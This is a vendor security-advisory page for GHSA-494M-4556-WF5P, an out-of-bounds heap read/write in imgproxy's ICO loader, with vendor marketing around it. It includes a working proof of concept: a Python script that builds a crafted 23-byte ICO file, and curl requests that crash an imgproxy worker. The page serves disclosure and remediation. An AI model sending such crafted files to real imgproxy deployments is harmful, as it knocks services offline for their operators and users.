GHSA-494M-4556-WF5P

GHSA-494M-4556-WF5P is a high-severity out-of-bounds read vulnerability in github.com/imgproxy/imgproxy/v3 (go), affecting versions >= 3.3.0, < 4.0.17. It is fixed in 4.0.17.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

Details

In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated
uint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated
if ((num_colors == 0) && (bpp <= 8))
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer
height = height / 2;

With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer, specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

PoC

# make_ico_oob.py, generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA'  # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
#   Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)

Impact

Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.

GHSA-494M-4556-WF5P has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.17); upgrading removes the vulnerable code path.

Affected versions

github.com/imgproxy/imgproxy/v3 (>= 3.3.0, < 4.0.17)

Security releases

github.com/imgproxy/imgproxy/v3 → 4.0.17 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.17 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-494M-4556-WF5P? GHSA-494M-4556-WF5P is a high-severity out-of-bounds read vulnerability in github.com/imgproxy/imgproxy/v3 (go), affecting versions >= 3.3.0, < 4.0.17. It is fixed in 4.0.17. A read operation accesses a memory location beyond the intended buffer boundary.
  2. How severe is GHSA-494M-4556-WF5P? GHSA-494M-4556-WF5P has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/imgproxy/imgproxy/v3 are affected by GHSA-494M-4556-WF5P? github.com/imgproxy/imgproxy/v3 (go) versions >= 3.3.0, < 4.0.17 is affected.
  4. Is there a fix for GHSA-494M-4556-WF5P? Yes. GHSA-494M-4556-WF5P is fixed in 4.0.17. Upgrade to this version or later.
  5. Is GHSA-494M-4556-WF5P exploitable, and should I be worried? Whether GHSA-494M-4556-WF5P is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-494M-4556-WF5P is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-494M-4556-WF5P? Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.17 or later.

Other vulnerabilities in github.com/imgproxy/imgproxy/v3

Stop the waste.
Protect your environment with Kodem.